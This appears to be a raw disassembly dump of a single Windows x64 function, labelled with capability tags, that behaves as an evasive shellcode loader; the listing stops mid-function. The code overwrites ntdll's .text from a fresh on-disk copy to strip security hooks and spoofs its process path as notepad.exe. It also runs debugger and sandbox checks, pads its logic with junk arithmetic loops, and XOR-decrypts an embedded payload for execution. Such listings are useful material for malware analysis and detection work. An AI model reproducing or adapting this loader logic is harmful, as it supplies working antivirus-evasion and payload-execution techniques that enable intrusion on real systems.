Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x948
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8b0], xmm6
mov dword [rbp + 0x8f0], ecx
mov qword [rbp + 0x8f8], rdx
call fcn.140002f50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x838], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x830], rax
mov ecx, 0x944
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x828], rax
mov ecx, 0x944
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x820], rax
mov ecx, 0x944
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x818], rax
mov ecx, 0x944
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x810], rax
mov dword [rbp + 0x8a8], 0x250
mov dword [rbp + 0x8ac], 0
jmp 0x1400015a0
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x828]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x820]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0x250
jle 0x14000150d
mov dword [rbp + 0x8ac], 0
jmp 0x14000163f
mov eax, dword [rbp + 0x8a8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x828]
add rax, rdx
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x818]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x8a8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x820]
add rax, rdx
mov edx, dword [rbp + 0x8ac]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x810]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x8a8], 1
add dword [rbp + 0x8ac], 1
cmp dword [rbp + 0x8ac], 0x250
jle 0x1400015bf
mov rax, qword [rbp + 0x828]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x820]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x818]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x810]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
jne 0x14000170f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x8a0], rax
cmp qword [rbp + 0x8a0], 0
je 0x140001b67
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x650]
mov rax, qword [rbp + 0x808]
mov r10, qword [rbp + 0x8a0]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x800], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x800]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x800]
add rax, rdx
mov qword [rbp + 0x7d8], rax
mov word [rbp + 0x89e], 0
jmp 0x140001b4f
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7d8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x89e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b3e
mov dword [rbp + 0x618], 0
mov ecx, 0x358
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c8], rax
mov dword [rbp + 0x898], 0
jmp 0x140001954
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0xd5
jle 0x1400018cd
mov dword [rbp + 0x898], 0
jmp 0x140001a58
cmp dword [rbp + 0x898], 0
je 0x1400019bd
mov eax, dword [rbp + 0x898]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x1400019c9
add dword [rbp + 0x898], 1
jmp 0x140001a58
mov eax, dword [rbp + 0x898]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x7c4], xmm0
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rdx, rax
mov eax, dword [rbp + 0x898]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x7c8]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x898]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c8]
add rax, rdx
movss xmm0, dword [rbp + 0x7c4]
movss dword [rax], xmm0
sub dword [rbp + 0x898], 1
cmp dword [rbp + 0x898], 0xd5
jle 0x140001973
mov rax, qword [rbp + 0x7c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x618]
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x618]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x89e]
add eax, 1
mov word [rbp + 0x89e], ax
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x89e], ax
jb 0x140001849
mov dword [rbp + 0x61c], 0
mov rax, qword [rbp + 0x838]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
lea rax, [rbp + 0x61c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7b8]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x628]
add rax, 0x3c
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x7ac], 0
mov ecx, 0x62c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x894], 0
jmp 0x140001ce5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x7ac], edx
mov edx, dword [rbp + 0x7ac]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x7ac], eax
cmp dword [rbp + 0x7ac], 0x168
jle 0x140001c6b
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001cde
cmp dword [rbp + 0x7ac], 0
jns 0x140001c98
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001cde
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x7ac]
movsd xmm0, qword [0x140006628]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7a0]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x18a
jle 0x140001c04
mov rax, qword [rbp + 0x7a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x7b0]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x798], rax
cmp qword [rbp + 0x798], 0
jne 0x140002e79
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
call rax
mov dword [rbp + 0x78c], eax
mov ecx, 0x3d1
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x790]
call rax
mov dword [rbp + 0x788], eax
mov eax, dword [rbp + 0x788]
sub eax, dword [rbp + 0x78c]
cmp eax, 0x39f
jbe 0x140002e79
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140002e79
mov dword [rbp + 0x614], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x614]
mov r8, qword [rbp + 0x778]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x614]
cmp eax, 1
je 0x140002e79
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov ecx, 0
call rax
mov dword [rbp + 0x76c], eax
cmp dword [rbp + 0x76c], 0xffffffff
je 0x140002e79
mov dword [rbp + 0x768], 0x252
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov eax, dword [rbp + 0x768]
mov r8, qword [rbp + 0x760]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x220
jbe 0x140002e79
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x744], eax
mov ecx, 0x3bf
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x740]
sub eax, dword [rbp + 0x744]
cmp eax, 0x38d
jbe 0x140002e79
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
jne 0x140002e79
mov qword [rbp + 0x888], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002095
mov rax, qword [rbp + 0x730]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x728]
mov r9d, 0x3000
mov r8d, 0x35d
mov edx, 0
call rax
mov qword [rbp + 0x888], rax
cmp qword [rbp + 0x888], 0
je 0x140002e79
mov ecx, 0x4d8
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4d8
jne 0x140002e79
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, [rbp + 0x120]
lea rdx, [0x140006138]
mov ecx, 0x9d
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x830]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x830]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x720]
mov r8d, 0
mov edx, 0x4ec
mov ecx, 0x40000
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov r9, qword [rbp + 0x718]
mov r8d, 0x4ec
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x838]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov dword [rbp + 0x6fc], 0
mov ecx, 0x16d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov ecx, 0x16d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov ecx, 0x16d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x884], 0
jmp 0x1400022ce
mov dword [rbp + 0x880], 0
jmp 0x1400022ba
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x884]
cdqe
imul rcx, rax, 0x158
mov rax, qword [rbp + 0x6f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x880]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x884]
cdqe
imul rcx, rax, 0x158
mov rax, qword [rbp + 0x6e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x880]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 0x55
jle 0x14000220f
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x10
jle 0x140002200
mov dword [rbp + 0x884], 0
jmp 0x140002387
mov dword [rbp + 0x880], 0
jmp 0x140002373
mov eax, dword [rbp + 0x884]
cdqe
imul rdx, rax, 0x158
mov rax, qword [rbp + 0x6f0]
add rdx, rax
mov eax, dword [rbp + 0x880]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x884]
cdqe
imul rdx, rax, 0x158
mov rax, qword [rbp + 0x6e8]
add rdx, rax
mov eax, dword [rbp + 0x880]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x884]
cdqe
imul rdx, rax, 0x158
mov rax, qword [rbp + 0x6e0]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x880]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x880], 1
cmp dword [rbp + 0x880], 0x55
jle 0x1400022f6
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x10
jle 0x1400022ea
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x708]
mov r9, qword [rbp + 0x700]
mov r8d, 0x4ec
mov rcx, rax
call r9
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x878], 0
mov dword [rbp + 0x874], 0
movabs rax, 0x69e4ec61fab56418
movabs rdx, 0xb25b5b7f518fb525
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x866b1fc1f92258c2
movabs rdx, 0x82d1961fd58b0ebb
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xfa75a898d44f3292
movabs rdx, 0xf74b04bfc13674ea
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x476dbc64dbee9a67
movabs rdx, 0x4ce284a1a85b6aff
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xadbba162db2f71da
movabs rdx, 0xc90239206610d4c3
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0xfcfca4a62a916979
movabs rdx, 0x5fd8370cfc3d876
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0x34a862f076870bc2
movabs rdx, 0x9e041e2dc615af4a
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0x7d131e270050ff9e
movabs rdx, 0x436d7a688880d8
mov qword [rbp + 0x10f], rax
mov qword [rbp + 0x117], rdx
movabs rax, 0x85ea281bb3a64c2e
movabs rdx, 0x410635e44a246107
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xff79df717c5fcc33
movabs rdx, 0x3fdcf004c8142657
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x843730538b5799e4
movabs rdx, 0x72283e5d8cc32b58
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xbc31ce28e3b6de2d
movabs rdx, 0x30ce35f886d1b350
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xc66f4a7e89ea4a55
movabs rdx, 0x42f3288c03ef82c4
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xd66bb0e1a1cc42
mov qword [rbp + 0xf], rax
jmp 0x1400027be
cmp dword [rbp + 0x878], 0x55
jne 0x14000272b
mov eax, dword [rbp + 0x87c]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x878]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x87c]
cdqe
mov byte [rbp + rax + 0x20], dl
mov ecx, 0x9f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x9f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x870], 0
jmp 0x1400026a2
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x13d
jle 0x140002618
mov dword [rbp + 0x870], 0
jmp 0x140002710
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x870]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x670]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140004150
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x13d
jle 0x1400026be
mov dword [rbp + 0x878], 0
jmp 0x1400027b7
mov eax, dword [rbp + 0x87c]
cdqe
movzx edx, byte [rbp + rax + 0xa0]
mov eax, dword [rbp + 0x878]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x87c]
cdqe
mov byte [rbp + rax + 0x20], dl
mov dword [rbp + 0x86c], 0xffffffff
add dword [rbp + 0x86c], 1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f40
movq rax, xmm0
mov qword [rbp + 0x680], rax
cmp dword [rbp + 0x86c], 0x24d
jle 0x140002760
add dword [rbp + 0x878], 1
add dword [rbp + 0x87c], 1
mov eax, dword [rbp + 0x87c]
cmp eax, 0x7d
jbe 0x1400025af
mov dword [rbp + 0x87c], 0
jmp 0x140002aa2
cmp dword [rbp + 0x874], 0x7d
jne 0x140002832
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x708]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x874]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x708]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x874], 0
jmp 0x140002a9b
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x708]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x874]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x87c]
movsxd rdx, eax
mov rax, qword [rbp + 0x708]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x860], 0
mov dword [rbp + 0x69c], 0x132
mov dword [rbp + 0x698], 0x99
mov eax, dword [rbp + 0x69c]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x868], 0
jmp 0x1400028e1
mov eax, dword [rbp + 0x868]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rdx, rax
mov eax, dword [rbp + 0x868]
mov dword [rdx], eax
add dword [rbp + 0x868], 1
mov eax, dword [rbp + 0x868]
cmp eax, dword [rbp + 0x698]
jl 0x1400028b8
mov dword [rbp + 0x868], 1
jmp 0x140002973
mov eax, dword [rbp + 0x868]
mov dword [rbp + 0x864], eax
jmp 0x14000294a
mov edx, dword [rbp + 0x868]
mov eax, dword [rbp + 0x864]
add edx, eax
mov eax, dword [rbp + 0x868]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x864]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x864], 1
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x868]
mov edx, dword [rbp + 0x868]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x864], eax
